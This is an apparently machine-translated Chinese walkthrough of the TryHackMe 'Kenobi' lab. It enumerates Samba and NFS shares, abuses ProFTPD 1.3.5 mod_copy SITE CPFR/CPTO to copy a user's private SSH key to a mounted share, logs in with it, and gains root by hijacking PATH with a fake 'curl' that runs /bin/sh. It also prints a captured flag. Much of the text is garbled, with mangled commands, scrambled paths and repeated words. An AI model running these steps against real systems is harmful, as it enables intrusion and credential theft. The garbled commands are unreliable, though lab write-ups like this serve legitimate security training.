这次,我们将列举共享的桑巴舞,操纵脆弱版本的proftpd,并通过操纵路径变量来升级特权。
“ tryhackme-kenobi: https://tryhackme.com/room/kenobi ”




准备
首先,选择“启动机器”并启动目标机器。

如果显示IP地址如下所示,则可以。

部署脆弱的机器
由于我较早地部署了机器,因此我将使用NMAP进行扫描。
确保您已连接到我们的网络并部署机器
该机器刚刚部署,所以让我们给您一个答案。
回答

用NMAP扫描机器,打开了多少个端口?
有一个问题,即打开了多少个端口,因此我将使用NMAP扫描端口。
┌-─(hack_lab㉿desktop-o3rmu7h) - [〜]└─$ nmap -pn -pn-t4 -a 10.10.26.135开始NMAP 7.94(https://nmap.org),在2023-08-27 22:59 22:59 JST NMAP SCAN in 10.26.110.110.110.11.11.11.11.11.11.11.11.11.11.11.11.11.11.11.11.11.111)(1)。未显示:993封闭的TCP端口(CONN-REFUSE)端口状态服务版本21/TCP OPEN FTP PROFTPD 1.3.5 22/TCP OPEN SSH OPENSSH 7.2P2 UBUNTU 4UBUNTU2.7(UBUNTU LINUX; stromate;协议2.0)| ssh-hostkey:| 2048 B3:AD:83:41:49:E9:5D:16:8D:3B:0F:05:7B:7B:E2:C0:AE(RSA)| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA) |_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519) 80/tcp open http apache httpd 2.4.18((ubuntu))| http-robots.txt:1不允许的条目| _/admin.html | _http-server-header:apache/2.4.18(ubuntu)| _http-title:site没有标题(text/html)。 111/TCP OPEN RPCBIND 2-4(RPC#100000)| rpcinfo:|程序版本端口/原始服务| 100000 2,3,4 111/TCP RPCBIND | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 2,3,4 2049/TCP NFS | 100003 2,3,4 2049/TCP6 NFS | 100003 2,3,4 2049/UDP NFS | 100003 2,3,4 2049/UDP NFS | 100003 2,3,4 2049/UDP6 NFS | 100005 1,2,3 34211/TCP Mountd | 100005 1,2,3 39978/udp Mountd | 100005 1,2,3 46105/tcp6 Mountd | 100005 1,2,3 57683/udp6 Mountd | 100021 1,3,4 32905/TCP NLOCKMGR | 100021 1,3,4 44853/tcp6 nlockmgr | 100021 1,3,4 46652/udp nlockmgr | 100021 1,3,4 49249/udp6 nlockmgr | 100227 2,3 2049/TCP NFS_ACL | 100227 2,3 2049/TCP6 NFS_ACL | 100227 2,3 2049/UDP NFS_ACL | 100227 2,3 2049/UDP NFS_ACL | _ 100227 2,3 2049/UDP6 NFS_ACL 139/TCP OPEN NETBIOS-SSN SAMBA SMBD 3.x-4.x-4.x(工作组:工作组)445/tcp Open``信息:主持人:Kenobi; OSS:UNIX,Linux; CPE:cpe:/o:linux:linux_kernel主机脚本结果:| SMB - 塞式模式:| counce_used:访客| Authentication_level:用户|挑战_Response:支持| _ message_signing:禁用(危险,但默认)| SMB2-Security模式:| 3:1:1:| _启用消息签名,但不需要| SMB2时间:|日期:2023-08-27T14:00:16 | _ start_date:n/a | smb-os-discovery:| OS:Windows 6.1(Samba 4.3.11-ubuntu)|计算机名称:Kenobi | NetBios计算机名称:Kenobi \ X00 |域名:\ x00 | FQDN:Kenobi | _系统时间:2023-08-27T09:00:00:16-05:00 | _Clock-Skew:平均:1H39M58S,出发:2H53M13S,中位数,中位数:-1S | _NBSTAT:_NBSTAT:NETBIOS:NETBIOS,NETBIOS,NETBIOS,NETBIOS,NETBIOS USER:NETBIOS USER:NETBIOS USER:-NETBSTAT:NETBSTAT:NETBSTAT:NETBIOS USE:<unknown> ,Netbios Mac:<unknown> (未知)执行服务检测。请在https://nmap.org/submit/上报告任何不正确的结果。 NMAP完成:1个IP地址(1个主机)在35.93秒内进行扫描
其中有很多,因此,如果您将它们稍微汇总一点,您会发现下面的七个端口是开放的。
21/TCP开放FTP PROFTPD 1.3.5 22/TCP OPEN SSH OPENSSH 7.2P2 UBUNTU 4UBUNTU2.7(UBUNTU LINUX; ubuntu Linux;协议;协议2.0)80/TCP Open HTTP Apache httpd httpd httpd httpd 2.4.18(((ubuntu))111/tcp Open RPCBind/tcb#100000,000,000000000 000000 000000 000000(RPC #40000 000000) Samba SMBD 3.X-4.X(工作组:工作组)445/TCP OPEN``} {} Samba SMBD 4.3.11-ubuntu(WorkGroup:WorkGroup:WorkGroup)2049/TCP Open NFS 2-4(RPC#100003)
回答

列举桑巴股份
在开放端口中,您可以立即检查HTTP,因此我迅速检查了一下,并在 /admin.html中找到了一个陷阱。
我感兴趣的下一个端口是桑巴河的139和445。
使用上面的NMAP命令,发现了多少股?
我将检查有多少股。 NMAP有各种工具可以自动化网络任务,并且有一些脚本列出共享,因此让我们使用它们。
┌─-(hack_lab㉿desktop-o3rmu7h) - [〜]└─$ nmap -p 445 -script = smb-enum-shares.nse,smb-enum-users.nse.nse 10.10.26.135开始Nmap 7.94(https:https:https://nmap.orgg), 10.10.26.135主机的扫描报告增加(延迟0.25s)。端口状态服务445/TCP Open Microsoft-DS主机脚本结果:| SMB-Enum-shares:| counce_used:访客| \\ 10.10.26.135 \ ipc $:|类型:stype_ipc_hidden |评论:IPC服务(Kenobi Server(Samba,Ubuntu))|用户:1 |最大用户:<unlimited> |路径:c:\ tmp |匿名访问:读/写|当前用户访问:读/写| \\ 10.10.26.135 \匿名:|类型:stype_disktree |评论:|用户:0 |最大用户:<unlimited> |路径:c:\ home \ kenobi \ share |匿名访问:读/写|当前用户访问:读/写| \\ 10.10.26.135 \ print $:|类型:stype_disktree |评论:打印机司机|用户:0 |最大用户:<unlimited> |路径:c:\ var \ lib \ samba \打印机|匿名访问:<none> | _当前用户访问:<none> NMAP完成:1个IP地址(1个主机)在38.42秒内进行扫描
总而言之,我们可以看到以下三个共享:
\\ 10.10.26.135 \ ipc $ \\ 10.10.26.135 \ Anonymous \\ 10.10.26.135 \ print $
其中,我感兴趣的人是匿名的。我们下次将调查。
回答

连接后,在共享中列出文件。您可以看到什么文件?
现在,让我们尝试连接到匿名。
(hack_lab㉿desktop-o3rmu7h) - [〜]└─$ smbclient //10.10.26.135/ [workgroup \ hack_lab]的匿名密码:尝试“帮助”以获取可能命令的列表。 SMB:\>
连接后,尝试查看您共享的文件列表。
SMB:\> ls。 D 0星期三9月4日19:49:09 2019 .. D 0星期三9月4日19:56:07 2019 log.txt N 12237 WED 9月4日19:49:09 2019 2019 9204224大小1024.68777104块可用SMB:\> dir。 D 0星期三9月4日19:49:09 2019 .. D 0星期三9月4日19:56:07 2019 log.txt n 12237 wed Sep 4 Sep 4 19:49:09 2019 2019 9204224尺寸的块1024。68777104可用块
您可以检查存在称为“ log.txt”的文件。
回答

FTP在哪个端口上运行?
我已经在nmap上检查了一下,但是我会检查log.txt是为了安全起见。
首先,下载log.txt。
smb:\>获取log.txt获取file \ log.txt的尺寸12237作为log.txt(12.0 kilobytes/sec)(平均12.0 khobytes/sec)SMB:\>
log.txt的内容如下:
┌ - (hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme]└─$ cat log.txt生成public/private rsa键对。输入保存密钥(/home/kenobi/.ssh/id_rsa)的文件:创建目录'/home/kenobi/.ssh'。输入密码(无密码为空):再次输入相同的密码:您的标识已保存在/home/kenobi/.ssh/id_rsa中。您的公钥已保存在/home/kenobi/.ssh/id_rsa.pub中。关键指纹是:sha256:c17gwsl/v7kluzrowwxsyk+f7gyhvzsbfqkcikr2d7q kenobi@kenobi kenobi kenobi键的随机图像是:+--------------------------- | .. | | 。 o。 。 | | 。 o。 。 | | .. = O +。 | | 。 so.o ++ o。 | | o ...+oo.bo*o | | oo ..o.o.o+。@oo | | 。 。 E .o+=。 | | 。 。 obo。 | + ---- [SHA256] -----+#这是一个基本的Proftpd配置文件(将其重命名为#'proftpd.conf'供实际使用。它建立了一个单个服务器#和一个匿名登录。它假设您拥有一个无用的user/group#“ nose/group” nose/group“ nose/group”,“ nose/group”用于正常操作和“ ftp” proft proftration and proftpd default default default default default'是标准的FTP端口21#默认情况下使用IPv6的支持。您应该使用一个INETD服务器#限制每个服务的最大数量(例如Xinetd)。默认情况下使用网站CHMOD<Limit SITE_CHMOD>拒绝</Limit>#基本的匿名配置,没有上传目录。如果您不想要匿名用户,只需删除整个<Anonymous>部分。<Anonymous ~ftp>用户FTP组FTP#我们希望客户端能够使用“匿名”以及“ FTP” USERALIAS ANOMERIAS匿名FTP#限制匿名logins maxclients 10#我们希望在login上显示的'Welcome.MSG'的最大数量,并在每个新chdired Chdired Chdired Directory中显示#Message'。 displayLogin欢迎.msg displaycdir .message#限制在匿名chroot中到处写入<Limit WRITE>拒绝</Limit></Anonymous>## Debian GNU/Linux的Samba Suite的示例配置文件。 ###这是主要的桑巴式配置文件。您应该读取#smb.conf(5)手动页面,以便在此处了解##的选项。 Samba具有大量可配置的选项,其中大多数#在此示例##中未显示的一些通常值得调整的选项已包含在此文件中的#评论示例中。 # - When such options are commented with ";", the proposed setting # differents from the default Samba behaviour # - When commented with "#", the proposed setting is the default # behaviour of Samba but the option is considered important # enough to be mentioned here # # NOTE: Whenever you modify this file you should run the command # "testparm" to check that you have not made any basic syntactic # errors. #==== Global Settings ==== [global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = WORKGROUP # server string is the equivalent of the NT Description field server string = %h server (Samba, Ubuntu) # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server # Wins Support = no#Wins Server-告诉Samba的NMBD组件是Wins Client#Note:Samba可以是Wins Server,也可以是Wins Client,但两者都不是两者兼而有之; Wins Server = WXYZ#这将阻止NMBD通过DNS搜索NetBios名称。 DNS代理=否####网络####要绑定到#的特定接口 /网络集可以是接口名称或IP地址 / NetMask; #通常优选接口名称;接口= 127.0.0.0/8 ETH0#仅绑定到命名接口和/或网络;您必须使用上面的#“接口”选项才能使用此功能。 #如果您的Samba机器不受防火墙的保护或防火墙本身的保护,建议您启用此功能。但是,此#选项无法正确处理动态或非广播接口。 ;仅绑定接口=是####调试/会计#####这告诉Samba使用连接日志文件= /VAR/log/samba/log.%M#限制单个日志文件大小的每个机器#使用单独的日志文件(以KIB为单位)。最大日志尺寸= 1000#如果您只想通过syslog登录,则将以下#参数设置为'yes'。 #仅syslog = no#我们希望桑巴人将最少的信息记录到Syslog。一切都应该转到/var/log/samba/log. {smbd,nmbd}。如果要通过Syslog登录##,则应将以下参数设置为更高的内容。 syslog = 0#当桑巴崩溃时做一些明智的事情:邮寄管理员backtrace pan action =/usr/share/share/samba/panic-action%d #######定义在哪种模式下运行的模式。可能的#值是“独立服务器”,“成员服务器”,“经典主#域控制器”,“经典备份域控制器”,“ Active#Directory Domain Controller”。 ##大多数人都希望“独立的SEVER”或“成员服务器”。 #运行为“ Active Directory Domain Controller”将需要首先运行#运行“ Samba-Tool Domain Provision”来擦除数据库并创建#新域。服务器角色=独立服务器#如果您使用的是加密密码,则桑巴山将需要知道您正在使用的#密码数据库类型。 PassDB后端= TDBSAM OBEY PAM限制=是#此布尔参数控制Samba是否试图将UNIX#密码与SMB密码同步时,当#PassDB中的加密SMB密码更改时。 UNIX密码sync =是的unix密码同步在Debian GNU/Linux系统上工作,必须设置以下#参数(感谢Ian Kahan <<kahan@informatik.tu-muenchen.de>对于#为Debian Sarge中的PassWD程序发送正确的聊天脚本)。 PASSWD程序=/usr/bin/passwd%u passwd chat =*Enter \ snew \ s*\ spassword:*%n \ n*retype \ snew \ s*\ spassword:*%n \ n \ n*passwort \ supdated \ supdated \ sssuccess facsion*。 #此布尔人控制SMB客户端请求时是否将PAM用于密码更改#,而不是#“ PassWD Program”中列出的程序。默认值为“否”。 pam密码更改=是##此选项控制如何将#映射到匿名连接映射到访客=不良用户#######域######查看)以下#需要在Samba服务器上设置[配置文件]共享(请参见下面);登录路径= \\%n \ profiles \%u#另一个常见的选择是将配置文件存储在用户的主目录#(这是桑巴省的默认值)中#logon path = \\%n \%u \ profile#仅在设置“ domain logons”#时,仅在设置了用户的主目录的位置(从cultion#Point op Point op Point op Point);登录驱动器= h:#登录home = \\%n \%u#以下设置仅在设置'域登录''#时才能生效#它指定脚本在登录过程中运行。必须将脚本存储在[NetLogon]共享#注:必须存储在“ DOS”文件格式中;登录脚本= logon.cmd#这允许通过SAMR#RPC管道在域控制器上创建UNIX用户。示例命令使用禁用的UNIX#密码创建一个用户帐户;请适应您的需求;添加用户脚本=/usr/sbin/adduser -quiet -disabled-password -gecos“”%u#this允许通过#SAMR RPC管道在域控制器上创建机器帐户。 #以下是系统上存在一个“机器”组;添加计算机脚本=/usr/sbin/userAdd -G计算机-C“%U机器帐户” -D/var/lib/samba -s/bin/bin/false%u#这允许通过SAMR#RPC管在域控制器上创建UNIX组。 ;添加组脚本=/usr/sbin/addGroup -force-badname%g ###### misc #######使用以下行使您可以按每个机器自定义配置#。 %m被连接的机器的NetBios名称#替换;包括= /home/samba/etc/smb.conf.%M#WinBind的一些默认值(确保您不使用范围#for其他东西。); IDMAP UID = 10000-20000; IDMAP GID = 10000-20000; template shell = /bin /bash#设置Usershare选项,以允许非root用户与net usershare命令共享文件夹#。 #最大用户数量。 0(默认)表示禁用Usershare。 ; Usershare Max Shares = 100#允许被授予Usershare特权的用户创建#公共共享,而不仅仅是经过身份验证的Ossersssshare允许访客=是#===分享定义=====#UN-COMEMENT以下内容(并在下面调整其他设置以适应以下)#启用默认的主目录份额。这将以\\ server \ username; [homes]共享每个#用户的主目录;注释=主目录; Browsable = no#默认情况下,主目录是仅导出的。如果您想能够写信给它们,将#下一个参数更改为“否”。 ;出于安全原因,仅读取=是##文件创建掩码设置为0700。如果要使用group = RW权限创建#创建文件,请将下一个参数设置为0775。出于安全原因,Create Mask = 0700#Directory Creation Mask设置为0700。如果要#创建dirs。在组= RW权限的情况下,将下一个参数设置为0775。目录mask = 0700#默认情况下,\\ server \用户名共享可以由访问Samba Server的任何人连接到。 #启动以下参数,以确保只有“用户名”#可以连接到\\ server \用户名#这在使用外部身份验证方案时可能需要调整;有效用户=%s#un-comment the以下内容并为域登录#创建NetLogon目录(您需要配置Samba也充当域控制器。); [Netlogon];注释=网络登录服务;路径=/home/samba/netlogon;宾客OK = YES;仅读取= yes#un-commoment以下内容,然后创建配置文件目录以存储#用户配置文件(请参阅上面的“登录路径”选项)#(您需要配置桑巴岛也充当域控制器。)#下面的路径应由所有用户写作,以便在第一次创建其#profile profiles目录时,可以在log log上创建#profiles目录;注释=用户配置文件;路径=/home/samba/profiles;来宾确定=否;浏览=否;创建蒙版= 0600;目录蒙版= 0700 [打印机]注释=所有打印机可浏览= no path =/var/var/spool/samba printable = yes guest ok ok ok ok ok ok ok ok ok ok ok ok ok of no polly = yes create create = 0700#Windows cliness cliness this shore名称作为可下载的#打印机驱动程序的源Windows打印驱动程序。 #您可能需要用您的#管理员用户是成员的组名称替换“ lpadmin”。 #请注意,您还需要将适当的UNIX权限设置为驱动程序目录,以使这些用户在其中具有写入权;写列表= root,@lpadmin [匿名] path =/home/kenobi/kenobi/kenobi/share browsable = yes
您可以从此内容中看到的信息如下:
- SSH私钥必须存储在“/home/kenobi/.ssh/id_rsa”中
- 有关PROFTPD服务器的信息
回答

我们可以看到什么坐骑?
接下来,NFS是基于RPC的文件共享服务。
尽管NFS本身在2049年运行,但RPC是通往NFS的门户。
2049/TCP Open NFS 2-4(RPC#100003)
换句话说,尝试扫描111 RPC。
111/TCP OPEN RPCBIND 2-4(RPC#100000)
确认NSF正在运行后,首先要做的就是检查哪些目录可以远程导出。
再次在这里,我们将使用NMAP脚本引擎。
┌ - ─(hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme]└─$ ls/usr/usr/share/nmap/scripts | grep nfs nfs-ls.nse nfs-showmount.nse nse nfs-statfs.nse
尝试以端口号“ 111”运行它。
┌-─(Hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme]└─$ nmap -p 111 -p 111 -script = nfs-ls,nfs-statfs,nfs-showmount,nfs-showmount 10.10.26.135开始NMAP 7.94(htttpps et nmap 7.94(htttpps:323233) 10.10.26.135主机的NMAP扫描报告已增加(延迟0.25s)。港口状态服务111/TCP OPEN RPCBIND | nfs-showmount:| _ /var * nmap完成:1个IP地址(1个主机UP)在4.27秒内扫描
我已经确认“/var”已导出。
现在,我首先尝试安装“/var”。
┌-─(hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme]└-$ mkdir kenobinfs┌-┌┌-┌┌┌┌—(hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme] password for hack_lab: ┌──(hack_lab㉿DESKTOP-O3RMU7H)-[~/TryHackMe] └─$ ll kenobiNFS/ total 48 drwxr-xr-x 2 root root 4096 Sep 4 2019 backups drwxr-xr-x 9 root root 4096 Sep 4 2019 cache drwxrwxrwt 2 root root 4096 Sep 4 2019 crash drwxr-xr-x 40 root root 4096 Sep 4 2019 lib drwxrwsr-x 2 root staff 4096 Apr 13 2016 local lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock drwxrwxr-x 10 root ssl-cert 4096 Sep 4 2019 log drwxrwsr-x 2 root mail 4096 Feb 27 2019邮件drwxr-xr-x 2根4096 FEB 27 2019 2019 OPT LRWXRWXRWX 1根root 4 root 4 Sep 4 Sep 4 2019 Run - > /run Drwxr-Xr-X 2 root 4096 JAN 30 2019 SNAP SNAP DRWXR-XR-XR-XR-XR-XR-X 5 drwxr-xr-x 3根4096年9月4日2019 www
似乎您可以使用TMP。
回答

通过PROFTPD获得初始访问
使用proftpd获得本地权限。
什么是版本?
首先,尝试使用NetCat连接到FTP服务。
┌ - ─(hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme]└─$ NC 10.10.6.106 21 220 PROFTPD 1.3.5服务器(PROFTPD默认安装)[10.10.6.6.106]
事实证明,PROFTPD版本为“ 1.3.5”。
回答

运行PROFTPD有多少个利用?
尝试searchsploit,以找出PROFTPD 1.3.5中是否没有漏洞。
┌─-(hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme]└─$ searchsploit proftpd 1.3.5 --------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 'mod_copy'命令执行| linux/remote/37262.rb proftpd 1.3.5-'mod_copy'远程命令| linux/remote/36803.py proftpd 1.3.5-'mod_copy'远程命令| linux/remote/49908.py proftpd 1.3.5-文件副本| linux/remote/36742.txt ------ ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
底部的“ Proftpd 1.3.5-文件复制”,即使是未经身份验证的客户端也可以使用mod_copy。
回答

Kenobi的用户标志(/home/kenobi/user.txt)是什么?
MOD_COPY模块具有站点CPFR和站点CPTO命令,可用于将文件/目录从服务器上的一个位置复制到另一个位置。
我知道已经生成了Kenobi私钥,所以我想得到它。
输入保存密钥(/home/kenobi/.ssh/id_rsa)的文件
至于在哪里复制它,我们已经知道 /var是可以安装的,因此我们将尝试将Kenobi的私钥复制到 /var。
┌──(hack_lab㉿DESKTOP-O3RMU7H)-[~/TryHackMe] └─$ nc 10.10.6.106 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.6.106] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var /id_rsa 550 cpto:拒绝权限
“/var”没有许可。 。 。
根据我之前安装的结果,如果是“/var/tmp”,似乎很好。
┌──(hack_lab㉿DESKTOP-O3RMU7H)-[~/TryHackMe] └─$ nc 10.10.6.106 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.6.106] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa 250复制成功
我设法复制了它!
(hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme]└ - $ cd kenobinfs/tmp┌istrabinfs/tmp┌-(hack_lab_lab㉿desktop-o3rmu7h) hack_lab 1675 8月28日23:09 drwx-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 3根4096 9月4日2019 Systemd-Provate-E69BBBBBB0653CE4EE3BD9AE0D93D2A5806-SYSTEMD-TIMESYNCD.Service-Zobudn
在本地复制一次。目前,更改权限。
┌-(Hack_lab㉿desktop-o3rmu7h) - [〜/tryhackme]└-$ cp kenobinfs/tmp/id_rsa ./
我将尝试使用我的Kenobi私钥进行SSH连接。
┌ - (root㉿kali) - [〜]└─#ssh -i id_rsa kenobi@10.10.154.255主机'10 .10.154.255(10.10.154.255)的真实性无法建立。 ED25519密钥指纹为SHA256:GXU1MGQL0WK2ZHPMEUVIS0HVUSX4HK33ITCWNKPKTFW。您确定要继续连接(是/否/[指纹]),该键不知道其他名称吗?是警告:永久添加'10 .10.154.255'(ED25519)中已知主机列表。欢迎来到Ubuntu 16.04.6 lts(GNU/Linux 4.8.0-58-Generic X86_64) *文档:https://help.ubuntu.com *管理:管理:https://landscape.canonical.com *支持:https://ubuntu.com/advantage 103 packages packages packages we Undisted tepated。 65个更新是安全更新。上次登录时间:2019年9月4日星期三07:10:15 2019.168.1.147以管理员(用户“ root”)运行命令,使用” sudo<command> ”。有关详细信息,请参见“ Man Sudo_root”。Kenobi@kenobi:〜$
我能够安全连接。
让我们继续检查user.txt并获取标志!
kenobi@kenobi:~$ ll total 40 drwxr-xr-x 5 kenobi kenobi 4096 Sep 4 2019 ./ drwxr-xr-x 3 root root 4096 Sep 4 2019 ../ lrwxrwxrwx 1 root root 9 Sep 4 2019 .bash_history -> /dev/null -rw-r--r-- 1 kenobi kenobi 220 Sep 4 2019 .bash_logout -rw-r--r-- 1 kenobi kenobi 3771 Sep 4 2019 .bashrc drwx----- 2 kenobi kenobi 4096 Sep 4 2019 .cache/ -rw-r--r-- 1 kenobi kenobi 655 Sep 4 2019 .profile drwxr-xr-x 2 kenobi kenobi 4096 Sep 4 2019 share/ drwx----- 2 Kenobi Kenobi 4096 9月4日2019年.SSH/ -RW-RW-R-1 KENOBI KENOBI 33 SEP 4 2019年9月4日user.txt -rw ------- 1 Kenobi Kenobi 642 Sep 4 2019年9月4日。Viminfokenobi@kenobi@kenobi@kenobi@kenobi:
回答

路径可变操作的特权升级
接下来是特权的升级。旨在使用普通SUID来特权高程。
SUID使用文件所有者的权限执行文件,因此,如果root是文件所有者,则可以获得根特权。
哪些文件看起来特别与众不同?
让我们用SUID检查文件。
kenobi@kenobi:〜$ find/-perm -u = s -type f 2>/dev/null/sbin/sbin/mount.nfs/usr/usr/lib/promictKit-kit-1/polkit-agent-agent-agent-helper-helper-nib/lib/lib/lib/dbus/dbus-1.0/dbus-daemon-daemon-nemon-launch-helper/iusr/lib/iusr/iusr/usr/lib/lib/usr/lib/lib/snap-confine/snap-confine snap-confine /usr/lib/exject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/lib/x86_64-linux-gnu/lxc/lxc/lxc/lxc-user-nic/usr/usr/usr/bin/bin/chfn/chfn/chfn/chfn/usr/bin/bin/newgidmap/usr/bin/usr/bin/usr/bin/pkex /usr/bin/newuidmap /usr/bin/gpasswd /usr/bin/menu /usr/bin/sudo /usr/bin/chsh /usr/bin/at /usr/bin/newgrp /bin/umount /bin/fusermount /bin/mount /bin/ping /bin/su /bin/ping6
我猜这些值得怀疑的是“/usr/bin/菜单”。这是我从未见过的文件。
回答

运行二进制,出现了多少个选项?
尝试运行菜单。
似乎您可以检查服务器状态,内核版本和IFConfig内容。
kenobi@kenobi:〜$菜单************************************************************************************************************************************************************************************************************************ ********************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************************ ********************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************************ ********************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************************ **********************************************************************************************************************************************************************************************************************内容长度:200不同:接受编码内容类型:文本/html
回答

什么是根标志(/root/root.txt)?
使用字符串在菜单的二进制中搜索可读的字符串。
kenobi@kenobi:〜$ strings/usr/bin/菜单... ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* ******************************************************************************************************************************************************************************************************************* *******************************************************************************************************************************************************************************************************************
请注意以下内容:
您可以确认“卷发”不是完整的道路。 (不是/usr/bin/curl或/usr/bin/uname)
curl -i localhost
这意味着,通过在名称卷曲的名称中复制/bin/sh,使其访问并将其添加到路径中,当
执行/usr/bin/菜单时,该路径将用于查找您复制的卷发。
kenobi@kenobi:〜$ cd/tmp kenobi@kenobi:/tmp $ echo/bin/sh> curl kenobi@kenobi@kenobi@kenobi:/tmp $ chmod 777 curl kenobi@kenobi@kenobi@kenobi@kenobi@kenobi@kenobi:/tmp $ export path path =/tmp =/tmp:$ path kenobi@kenobi@kenobi@kenobi@kenobi@kenobi@kenobi@kenobi@kenobi@kenobi:/ ************************************************************************************************************************************************************************************************************* ************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************* ************************************************************************************************************************************************************************************************************** 177B3CD8562289F37382721C28381F02
特权已被提升!
回答

概括
这次,我列举了共享的桑巴舞,操纵了Proftpd的脆弱版本,并通过操纵路径变量来升级特权。
这完全无关紧要,但是我偶然发现了OpenVPN SSH,但我设法做到了。
参考和站点
- -